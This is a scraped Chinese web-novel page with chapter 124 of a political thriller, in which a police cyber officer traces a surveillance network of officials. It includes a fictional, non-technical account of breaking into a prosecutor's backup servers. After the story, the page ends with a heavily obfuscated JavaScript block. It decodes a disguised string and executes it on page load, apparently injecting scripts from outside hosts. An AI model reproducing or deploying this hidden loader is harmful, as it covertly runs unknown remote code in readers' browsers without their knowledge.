首页
第一百二十四章 林知夏的发现
返回

第一百二十四章 林知夏的发现

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第一百二十四章林知夏的发现(第1/2页)
    第一百二十四章林知夏的发现
    林知夏是在秦墨被内部调查的第三天介入的。
    秦墨给林知夏发了一条消息,内容很短:“举报信是打印的,但纸张是检察院内部使用的。来源是反贪局二室。帮我查一下,举报信是通过什么途径送到纪检组的。电子版还是纸质?如果是电子版,有没有IP地址?”
    林知夏收到消息的时候正在公安厅网安总队的工位上。三台显示器同时亮着,中间那台屏幕上跑着数据追踪程序。左手边的马克杯里泡着一杯已经凉透的红茶,杯壁上挂着茶渍。林知夏把秦墨的消息看了两遍,放下手机,手指搭上键盘。
    不是检察院的系统,林知夏没有权限直接查检察院的内部网络。但举报信如果通过电子邮箱发送,就会留下IP地址。林知夏先查了检察院纪检组的公开邮箱,没有发现匿名举报邮件。举报信不是通过邮箱发送的,是打印出来直接递送的。这条路断了。
    林知夏换了一个思路——谁有能力拿到秦墨的通讯记录截图?秦墨的通讯记录存贮在检察院的服务器上。能调取秦墨通讯记录的人,必须在检察院有相当高的权限。反贪局二室主任李卫国有权限吗?李卫国是反贪局的主任,不是技术部门的。李卫国可能需要通过技术处的人才能拿到通讯记录。林知夏开始追踪秦墨通讯记录的调取日志。
    检察院的网络与公安厅不互通,林知夏进不去。但林知夏记得秦墨说过,检察院的技术处外包了一家科技公司做系统维护。那家公司的服务器在省城,网络边界相对松散。林知夏通过那家公司的漏洞进入了检察院日志服务器的备份系统。调取记录在备份系统里只保留三十天。林知夏检索秦墨的名字,系统返回了三页记录。
    最近一次调取发生在七天前,调取人显示为“技术处,周涛”。周涛是技术处的普通科员,没有权限调取副处长的通讯记录。周涛的账号被人用了。林知夏继续查周涛账号的登录IP。IP地址不是技术处的办公网,而是省纪委的一个IP段。
    省纪委。
    林知夏的手指停了下来。举报秦墨的人不是检察院内部的,是省纪委的。那个人借用周涛的账号调取了秦墨的通讯记录,然后把截图提供给李卫国,李卫国再以检察院内部人的身份写出举报信。两方配合,天衣无缝。但省纪委的那个人是谁?
    林知夏开始追踪那个IP地址在省纪委内部的具体位置。省纪委的IP段按处室划分,林知夏把IP地址最后几位输入系统,系统匹配到一个具体的办公室——省纪委某处室,副主任办公室。副主任的名字叫马明远。
    林知夏不认识马明远。林知夏打开公安厅的内部人员库,输入“马明远”。页面弹出来:马明远,男,四十五岁,省纪委某处室副主任,之前在某部委工作过。在某部委期间,马明远的上司是梁劲松。梁劲松调到江澜省之后,马明远也跟着调了过来。
    林知夏的瞳孔微微放大了。马明远是梁劲松的人。不,马明远是秦怀远的人。梁劲松只是秦怀远的执行者。马明远在省纪委内部为秦怀远做事,监控秦怀远的敌人,包括特别行动处的每一个人。
    林知夏把马明远的信息整理成一份简报:姓名、年龄、职务、工作经历、与梁劲松的关系、调取秦墨通讯记录的证据。然后林知夏把简报发到了特别行动处的群聊里。
    “找到了。调取秦墨通讯记录的人,是省纪委的马明远。马明远之前在部委工作,跟过梁劲松。梁劲松调到江澜省之后,马明远也跟过来了。马明远是秦怀远在省纪委的眼线。”
    (本章未完,请点击下一页继续阅读)第一百二十四章林知夏的发现(第2/2页)
    群里沉默了几秒。
    陆沉第一个回复:“马明远的IP地址和调取记录,保留证据了吗?”
    林知夏打字:“保留了。截图、日志、IP映射,都存了。”
    秦墨回复:“马明远我不认识。但他能通过检察院技术处的账号调我的记录,说明他在检察院也有内线。”
    赵铁军发了一条:“李卫国?反贪局二室主任?”
    秦墨回复:“有可能。李卫国是梁劲松提拔的。马明远跟李卫国配合,一个提供通讯记录,一个写举报信。天衣无缝。”
    陆沉发了最后一条:“林知夏,把马明远的材料整理一份,发给于德水。另外,给孟副主任也发一份。专案组在省城,马明远的事,他们能管。”
    林知夏回复:“好。”
    林知夏把简报整理成正式报告,附上截图和日志,发给了于德水和孟副主任的加密邮箱。然后林知夏靠在椅背上,盯着屏幕上马明远的照片。马明远的脸圆润,戴着金丝眼镜,看起来像个知识分子。但马明远的手不干净。
    林知夏想起自己的电脑被植入监控软件的事。监控软件来自公安厅技术处的内部服务器。林知夏当时没有查到是谁架的,但现在林知夏怀疑——马明远在公安厅也有线人。
    林知夏开始查公安厅技术处服务器的访问日志。马明远没有公安厅的账号,不可能直接架监控软件。但马明远可以通过别人。林知夏查到了技术处一个叫刘志强的科员。刘志强是马明远的老乡,刘志强最近频繁登录服务器进行非授权操作。林知夏把刘志强的登录记录和监控软件的安装时间做了对比——时间完全吻合。刘志强帮马明远在技术处服务器上架了监控软件,监控对象是林知夏、秦墨、赵铁军。
    林知夏的手开始发抖。不是因为害怕,是因为愤怒。
    那些人监控林知夏多久了?三个月?半年?林知夏每一次登录系统、每一次调取数据、每一次搜索关键词,都在马明远的眼皮底下。但马明远看到了林知夏的每一步操作,却没有看到林知夏的后门。因为林知夏的后门不在公安厅的服务器上,在林知夏自己的加密文件夹里,在洪庆生服务器的备份里,在林知夏的脑子里。
    林知夏深吸一口气,把刘志强的信息也整理进了报告。
    “马明远在省纪委,马明远在检察院有线人李卫国,马明远在公安厅有线人刘志强。三个人,三个部门,一张网。马明远是秦怀远在江澜省的情报站。”
    于德水的回复很快:“收到。已转孟副主任。”
    孟副主任的回复更短:“知道了。”
    林知夏把报告存进加密文件夹,关了电脑。窗外天快黑了。公安厅的大楼在暮色中像一座灰色的城堡。林知夏站在窗前,看着外面。
    那些人在暗处,马明远在暗处,李卫国在暗处,刘志强也在暗处。但林知夏不怕,因为林知夏在更暗的地方。深潜者不跟别人比亮,比深。
    林知夏拿起手机,给陆沉发了一条私信。“陆哥,马明远的事,于书记和孟副主任都知道了。专案组会动他吗?”
    陆沉的回复只有一个字:“会。”
    林知夏不再担心了,背上双肩包,走出办公室。走廊里灯光昏暗,安全出口的绿色指示灯在黑暗中发着微弱的光。林知夏的脚步很轻。
    那些人以为监控了林知夏的电脑就监控了林知夏的一切。他们错了。林知夏的武器不在电脑里,在林知夏的脑子里。
    (第一百二十四章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();